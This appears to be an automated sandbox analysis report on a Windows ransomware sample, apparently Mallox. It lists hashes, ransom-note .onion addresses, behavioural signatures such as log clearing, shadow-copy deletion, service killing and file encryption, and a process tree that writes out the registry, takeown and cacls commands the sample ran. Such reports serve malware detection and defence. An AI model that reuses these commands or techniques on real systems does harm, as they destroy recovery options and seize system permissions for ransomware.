Analysis
-
max time kernel
147s -
max time network
141s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
24-11-2022 15:36
Static task
static1
Behavioral task
behavioral1
Sample
6cb1d245920799a1cc2dd8ee69e052d8.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
6cb1d245920799a1cc2dd8ee69e052d8.exe
Resource
win10v2004-20220812-en
General
-
Target
6cb1d245920799a1cc2dd8ee69e052d8.exe
-
Size
7KB
-
MD5
6cb1d245920799a1cc2dd8ee69e052d8
-
SHA1
29ff603adab927d52c4e9ec2746857ae26bdccc0
-
SHA256
22d33f1ffa8eb0c8b180c01fa01c71f5c2662bd4283eea6921c4c47772edd5b3
-
SHA512
3d71f7380502281fd05bb57098bddc506b000c41b1ff89572282709f0dbc2b508d2e75d2157c4562ea2f6b8e9eea42006c01d8002ba142387865856ac7c52d99
-
SSDEEP
192:B/wgnOh5hs9+w226iGrk3wi3OV5Yi3zMWu3Wg:B/wgnx9+wAKwi3OVGi3zMWu3W
Malware Config
Extracted
C:\FILE RECOVERY.txt
http://wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin
http://wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion
Signatures
-
Clears Windows event logs 1 TTPs 64 IoCs
Processes:
wevtutil.exewevtutil.exewevtutil.exepid process 1764 2832 208 2200 2436 1804 2848 2216 wevtutil.exe 2968 2680 2152 1092 1344 2396 2164 2688 336 2700 2188 2544 2896 1128 2388 2788 2096 3012 wevtutil.exe 1508 1832 2700 2112 1548 1388 2632 2596 2844 2552 2840 2784 3036 2772 1580 2492 2792 2276 wevtutil.exe 2492 2156 2528 752 2004 3056 2308 2900 1156 2444 2996 2384 2856 2800 2464 2744 2704 2508 2148 588 -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Stops running service(s) 3 TTPs
-
Modifies file permissions 1 TTPs 18 IoCs
Processes:
takeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exepid process 1344 takeown.exe 1804 takeown.exe 1544 takeown.exe 1808 takeown.exe 672 takeown.exe 1680 takeown.exe 596 takeown.exe 672 takeown.exe 1744 takeown.exe 1692 takeown.exe 1228 takeown.exe 908 takeown.exe 2024 takeown.exe 1636 takeown.exe 1492 takeown.exe 1612 takeown.exe 1744 takeown.exe 1968 takeown.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
6cb1d245920799a1cc2dd8ee69e052d8.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Windows\CurrentVersion\Run\Avbvlox = "\"C:\\Users\\Admin\\AppData\\Roaming\\Tntljlcbp\\Avbvlox.exe\"" 6cb1d245920799a1cc2dd8ee69e052d8.exe -
Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
6cb1d245920799a1cc2dd8ee69e052d8.exedescription ioc process File opened (read-only) \??\V: 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened (read-only) \??\J: 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened (read-only) \??\K: 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened (read-only) \??\L: 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened (read-only) \??\M: 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened (read-only) \??\R: 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened (read-only) \??\T: 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened (read-only) \??\U: 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened (read-only) \??\Z: 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened (read-only) \??\A: 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened (read-only) \??\B: 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened (read-only) \??\F: 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened (read-only) \??\G: 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened (read-only) \??\N: 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened (read-only) \??\W: 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened (read-only) \??\O: 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened (read-only) \??\Q: 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened (read-only) \??\S: 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened (read-only) \??\X: 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened (read-only) \??\E: 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened (read-only) \??\H: 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened (read-only) \??\I: 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened (read-only) \??\P: 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened (read-only) \??\Y: 6cb1d245920799a1cc2dd8ee69e052d8.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 8 api.ipify.org -
Suspicious use of SetThreadContext 1 IoCs
Processes:
6cb1d245920799a1cc2dd8ee69e052d8.exedescription pid process target process PID 1808 set thread context of 1084 1808 6cb1d245920799a1cc2dd8ee69e052d8.exe 6cb1d245920799a1cc2dd8ee69e052d8.exe -
Drops file in Program Files directory 64 IoCs
Processes:
6cb1d245920799a1cc2dd8ee69e052d8.exedescription ioc process File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.intro.nl_zh_4.4.0.v20140623020002.jar 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\InfoPathOM\InfoPathOMFormServices\InfoPathOMFormServicesV12\FILE RECOVERY.txt 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0382970.JPG 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\WB01745_.GIF 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Fonts\Slipstream.xml 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\PAPERS.INI 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\Premium.css 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-8 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\OutlookAutoDiscover\YAHOO.CO.JP.XML 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\Desert\FILE RECOVERY.txt 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files\VideoLAN\VLC\plugins\access_output\FILE RECOVERY.txt 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.historicaldata.ja_5.5.0.165303.jar 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.docs.zh_CN_5.5.0.165303.jar 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Merida 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_gloss-wave_35_f6a828_500x100.png 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BL00152_.WMF 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0386764.JPG 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0285360.WMF 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ms\FILE RECOVERY.txt 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\OWSHLP10.CHM 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.util_1.0.500.v20130404-1337.jar 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\trash.gif 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\Publisher\Backgrounds\WB02201_.GIF 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\bg_LightSpirit.gif 6cb1d245920799a1cc2dd8ee69e052d8.exe File created C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveProjectToolset\ProjectTool\FILE RECOVERY.txt 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\am\FILE RECOVERY.txt 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BD19986_.WMF 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA01130_.WMF 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\AUTOSHAP\BD18226_.WMF 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\CONVERT\OLAPPT.FAE 6cb1d245920799a1cc2dd8ee69e052d8.exe File created C:\Program Files\VideoLAN\VLC\locale\mk\LC_MESSAGES\FILE RECOVERY.txt 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\zdingbat.txt 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms5\SAVE.GIF 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\DGSIDEBRV.XML 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui_3.106.0.v20140812-1751.jar 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Guayaquil 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Prague 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\com-sun-tools-visualvm-modules-startup.jar 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PAGESIZE\PGLBL001.XML 6cb1d245920799a1cc2dd8ee69e052d8.exe File created C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\Calendar\FILE RECOVERY.txt 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files\Microsoft Games\Multiplayer\Spades\it-IT\FILE RECOVERY.txt 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\uz\LC_MESSAGES\vlc.mo 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD14693_.GIF 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolBMPs\MessageAttachmentIconImages.jpg 6cb1d245920799a1cc2dd8ee69e052d8.exe File created C:\Program Files\VideoLAN\VLC\locale\gl\FILE RECOVERY.txt 6cb1d245920799a1cc2dd8ee69e052d8.exe File created C:\Program Files\VideoLAN\VLC\locale\af\FILE RECOVERY.txt 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files\DVD Maker\soniccolorconverter.ax 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files\DVD Maker\sonicsptransform.ax 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jetty.io_8.1.14.v20131031.jar 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files\Windows Journal\Templates\Seyes.jtp 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0227419.JPG 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Templates\1033\EquityLetter.Dotx 6cb1d245920799a1cc2dd8ee69e052d8.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.200.v20141007-2033\META-INF\FILE RECOVERY.txt 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-core-execution.jar 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files\Windows Media Player\fr-FR\WMPMediaSharing.dll.mui 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0099150.JPG 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files (x86)\Windows Media Player\fr-FR\WMPDMC.exe.mui 6cb1d245920799a1cc2dd8ee69e052d8.exe File created C:\Program Files\VideoLAN\VLC\locale\ks_IN\LC_MESSAGES\FILE RECOVERY.txt 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files\Java\jre7\lib\images\cursors\invalid32x32.gif 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Australia\Sydney 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\mobile.css 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\IN00956_.WMF 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\Groove Starter Template.xsn 6cb1d245920799a1cc2dd8ee69e052d8.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\QuickStyles\Perspective.dotx 6cb1d245920799a1cc2dd8ee69e052d8.exe -
Launches sc.exe 64 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 108 sc.exe 1584 sc.exe 2080 sc.exe 2528 sc.exe 2544 sc.exe 212 sc.exe 2740 sc.exe 2892 sc.exe 1612 sc.exe 1112 sc.exe 1508 sc.exe 2008 sc.exe 796 sc.exe 220 sc.exe 520 sc.exe 924 sc.exe 2512 sc.exe 232 sc.exe 2296 sc.exe 2232 sc.exe 3056 1636 1880 sc.exe 2512 sc.exe 2904 sc.exe 2284 sc.exe 2076 sc.exe 2840 sc.exe 2832 sc.exe 1612 sc.exe 884 sc.exe 1880 sc.exe 336 sc.exe 1880 sc.exe 2924 sc.exe 3056 sc.exe 2804 796 sc.exe 672 sc.exe 2772 sc.exe 2820 sc.exe 2080 sc.exe 3064 sc.exe 1328 sc.exe 2204 sc.exe 1372 972 sc.exe 336 sc.exe 3048 sc.exe 2256 1744 sc.exe 2388 sc.exe 2592 sc.exe 2920 2964 2380 sc.exe 2884 sc.exe 2264 sc.exe 2208 sc.exe 1512 sc.exe 2848 2024 sc.exe 364 sc.exe 2344 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Discovers systems in the same network 1 TTPs 2 IoCs
-
Enumerates processes with tasklist 1 TTPs 6 IoCs
Processes:
tasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exepid process 1580 tasklist.exe 2012 tasklist.exe 276 tasklist.exe 752 tasklist.exe 236 tasklist.exe 1576 tasklist.exe -
Interacts with shadow copies 2 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
Processes:
vssadmin.exevssadmin.exepid process 1324 vssadmin.exe 1324 vssadmin.exe -
Kills process with taskkill 64 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepid process 2252 taskkill.exe 2232 1220 2752 572 1616 1820 2552 taskkill.exe 2944 taskkill.exe 1304 2076 2300 taskkill.exe 2324 2828 1220 1120 3044 1120 2928 2584 796 taskkill.exe 2100 taskkill.exe 2108 2772 2068 2080 2736 2892 2092 2160 1804 taskkill.exe 2816 2888 2532 taskkill.exe 2276 2392 taskkill.exe 2144 taskkill.exe 1388 2956 1388 1708 2440 108 2152 2760 2228 1976 taskkill.exe 2960 taskkill.exe 2436 2864 3052 2276 276 2420 2580 2488 2488 taskkill.exe 2820 taskkill.exe 3032 2468 1268 2144 2708 528 -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
6cb1d245920799a1cc2dd8ee69e052d8.exepid process 1084 6cb1d245920799a1cc2dd8ee69e052d8.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
6cb1d245920799a1cc2dd8ee69e052d8.exetakeown.exetakeown.exe6cb1d245920799a1cc2dd8ee69e052d8.exevssvc.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exenet.exetaskkill.exesc.exetaskkill.exesc.exetaskkill.exetaskkill.exesc.exesc.exetaskkill.exetaskkill.exetaskkill.exenet.exesc.exetaskkill.exenet1.exedescription pid process Token: SeDebugPrivilege 1808 6cb1d245920799a1cc2dd8ee69e052d8.exe Token: SeTakeOwnershipPrivilege 672 takeown.exe Token: SeTakeOwnershipPrivilege 1692 takeown.exe Token: SeTakeOwnershipPrivilege 1084 6cb1d245920799a1cc2dd8ee69e052d8.exe Token: SeDebugPrivilege 1084 6cb1d245920799a1cc2dd8ee69e052d8.exe Token: SeBackupPrivilege 1540 vssvc.exe Token: SeRestorePrivilege 1540 vssvc.exe Token: SeAuditPrivilege 1540 vssvc.exe Token: SeTakeOwnershipPrivilege 1228 takeown.exe Token: SeTakeOwnershipPrivilege 672 takeown.exe Token: SeTakeOwnershipPrivilege 1492 takeown.exe Token: SeTakeOwnershipPrivilege 1744 takeown.exe Token: SeTakeOwnershipPrivilege 1968 takeown.exe Token: SeTakeOwnershipPrivilege 1804 takeown.exe Token: SeDebugPrivilege 1336 taskkill.exe Token: SeDebugPrivilege 824 taskkill.exe Token: SeDebugPrivilege 1804 taskkill.exe Token: SeDebugPrivilege 228 taskkill.exe Token: SeDebugPrivilege 2000 taskkill.exe Token: SeDebugPrivilege 336 taskkill.exe Token: SeDebugPrivilege 1680 taskkill.exe Token: SeDebugPrivilege 1976 taskkill.exe Token: SeDebugPrivilege 796 taskkill.exe Token: SeDebugPrivilege 924 taskkill.exe Token: SeDebugPrivilege 1336 taskkill.exe Token: SeDebugPrivilege 824 taskkill.exe Token: SeDebugPrivilege 564 taskkill.exe Token: SeDebugPrivilege 1836 taskkill.exe Token: SeDebugPrivilege 1268 taskkill.exe Token: SeDebugPrivilege 2008 taskkill.exe Token: SeDebugPrivilege 1580 taskkill.exe Token: SeDebugPrivilege 1584 taskkill.exe Token: SeDebugPrivilege 1976 taskkill.exe Token: SeDebugPrivilege 796 taskkill.exe Token: SeDebugPrivilege 924 taskkill.exe Token: SeDebugPrivilege 1336 taskkill.exe Token: SeDebugPrivilege 824 taskkill.exe Token: SeDebugPrivilege 564 taskkill.exe Token: SeDebugPrivilege 1372 taskkill.exe Token: SeDebugPrivilege 1576 tasklist.exe Token: SeDebugPrivilege 1580 tasklist.exe Token: SeDebugPrivilege 2012 tasklist.exe Token: SeDebugPrivilege 276 tasklist.exe Token: SeDebugPrivilege 752 tasklist.exe Token: SeDebugPrivilege 236 tasklist.exe Token: SeDebugPrivilege 2108 net.exe Token: SeDebugPrivilege 2144 taskkill.exe Token: SeDebugPrivilege 2252 sc.exe Token: SeDebugPrivilege 2276 taskkill.exe Token: SeSecurityPrivilege 2120 sc.exe Token: SeBackupPrivilege 2120 sc.exe Token: SeDebugPrivilege 2496 taskkill.exe Token: SeDebugPrivilege 2732 taskkill.exe Token: SeDebugPrivilege 2796 sc.exe Token: SeDebugPrivilege 2780 sc.exe Token: SeSecurityPrivilege 2788 taskkill.exe Token: SeBackupPrivilege 2788 taskkill.exe Token: SeDebugPrivilege 2836 taskkill.exe Token: SeDebugPrivilege 2844 taskkill.exe Token: SeDebugPrivilege 2932 net.exe Token: SeDebugPrivilege 2976 sc.exe Token: SeDebugPrivilege 2984 taskkill.exe Token: SeSecurityPrivilege 3012 net1.exe Token: SeBackupPrivilege 3012 net1.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
6cb1d245920799a1cc2dd8ee69e052d8.execmd.exedescription pid process target process PID 1808 wrote to memory of 584 1808 6cb1d245920799a1cc2dd8ee69e052d8.exe cmd.exe PID 1808 wrote to memory of 584 1808 6cb1d245920799a1cc2dd8ee69e052d8.exe cmd.exe PID 1808 wrote to memory of 584 1808 6cb1d245920799a1cc2dd8ee69e052d8.exe cmd.exe PID 1808 wrote to memory of 584 1808 6cb1d245920799a1cc2dd8ee69e052d8.exe cmd.exe PID 584 wrote to memory of 1128 584 cmd.exe reg.exe PID 584 wrote to memory of 1128 584 cmd.exe reg.exe PID 584 wrote to memory of 1128 584 cmd.exe reg.exe PID 584 wrote to memory of 1128 584 cmd.exe reg.exe PID 584 wrote to memory of 672 584 cmd.exe takeown.exe PID 584 wrote to memory of 672 584 cmd.exe takeown.exe PID 584 wrote to memory of 672 584 cmd.exe takeown.exe PID 584 wrote to memory of 672 584 cmd.exe takeown.exe PID 584 wrote to memory of 564 584 cmd.exe cmd.exe PID 584 wrote to memory of 564 584 cmd.exe cmd.exe PID 584 wrote to memory of 564 584 cmd.exe cmd.exe PID 584 wrote to memory of 564 584 cmd.exe cmd.exe PID 584 wrote to memory of 520 584 cmd.exe cacls.exe PID 584 wrote to memory of 520 584 cmd.exe cacls.exe PID 584 wrote to memory of 520 584 cmd.exe cacls.exe PID 584 wrote to memory of 520 584 cmd.exe cacls.exe PID 584 wrote to memory of 872 584 cmd.exe cmd.exe PID 584 wrote to memory of 872 584 cmd.exe cmd.exe PID 584 wrote to memory of 872 584 cmd.exe cmd.exe PID 584 wrote to memory of 872 584 cmd.exe cmd.exe PID 584 wrote to memory of 1584 584 cmd.exe cacls.exe PID 584 wrote to memory of 1584 584 cmd.exe cacls.exe PID 584 wrote to memory of 1584 584 cmd.exe cacls.exe PID 584 wrote to memory of 1584 584 cmd.exe cacls.exe PID 584 wrote to memory of 1556 584 cmd.exe cmd.exe PID 584 wrote to memory of 1556 584 cmd.exe cmd.exe PID 584 wrote to memory of 1556 584 cmd.exe cmd.exe PID 584 wrote to memory of 1556 584 cmd.exe cmd.exe PID 584 wrote to memory of 1496 584 cmd.exe cacls.exe PID 584 wrote to memory of 1496 584 cmd.exe cacls.exe PID 584 wrote to memory of 1496 584 cmd.exe cacls.exe PID 584 wrote to memory of 1496 584 cmd.exe cacls.exe PID 584 wrote to memory of 616 584 cmd.exe cmd.exe PID 584 wrote to memory of 616 584 cmd.exe cmd.exe PID 584 wrote to memory of 616 584 cmd.exe cmd.exe PID 584 wrote to memory of 616 584 cmd.exe cmd.exe PID 584 wrote to memory of 1032 584 cmd.exe cacls.exe PID 584 wrote to memory of 1032 584 cmd.exe cacls.exe PID 584 wrote to memory of 1032 584 cmd.exe cacls.exe PID 584 wrote to memory of 1032 584 cmd.exe cacls.exe PID 584 wrote to memory of 976 584 cmd.exe cmd.exe PID 584 wrote to memory of 976 584 cmd.exe cmd.exe PID 584 wrote to memory of 976 584 cmd.exe cmd.exe PID 584 wrote to memory of 976 584 cmd.exe cmd.exe PID 584 wrote to memory of 972 584 cmd.exe cacls.exe PID 584 wrote to memory of 972 584 cmd.exe cacls.exe PID 584 wrote to memory of 972 584 cmd.exe cacls.exe PID 584 wrote to memory of 972 584 cmd.exe cacls.exe PID 584 wrote to memory of 932 584 cmd.exe cmd.exe PID 584 wrote to memory of 932 584 cmd.exe cmd.exe PID 584 wrote to memory of 932 584 cmd.exe cmd.exe PID 584 wrote to memory of 932 584 cmd.exe cmd.exe PID 584 wrote to memory of 560 584 cmd.exe cacls.exe PID 584 wrote to memory of 560 584 cmd.exe cacls.exe PID 584 wrote to memory of 560 584 cmd.exe cacls.exe PID 584 wrote to memory of 560 584 cmd.exe cacls.exe PID 584 wrote to memory of 1120 584 cmd.exe cmd.exe PID 584 wrote to memory of 1120 584 cmd.exe cmd.exe PID 584 wrote to memory of 1120 584 cmd.exe cmd.exe PID 584 wrote to memory of 1120 584 cmd.exe cmd.exe -
System policy modification 1 TTPs 2 IoCs
Processes:
6cb1d245920799a1cc2dd8ee69e052d8.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\shutdownwithoutlogon = "0" 6cb1d245920799a1cc2dd8ee69e052d8.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\shutdownwithoutlogon = "1" 6cb1d245920799a1cc2dd8ee69e052d8.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\6cb1d245920799a1cc2dd8ee69e052d8.exe"C:\Users\Admin\AppData\Local\Temp\6cb1d245920799a1cc2dd8ee69e052d8.exe"1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\Vahuygrzckill$-arab.bat" "2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\reg.exereg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor" /v "AutoRun" /f3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\system32\cmd.exe /a3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cmd.exe /g Administrators:f3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cmd.exe /e /g Users:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cmd.exe /e /g Administrators:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cmd.exe /e /d SERVICE3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cmd.exe /e /d mssqlserver3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cmd.exe /e /d "network service"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
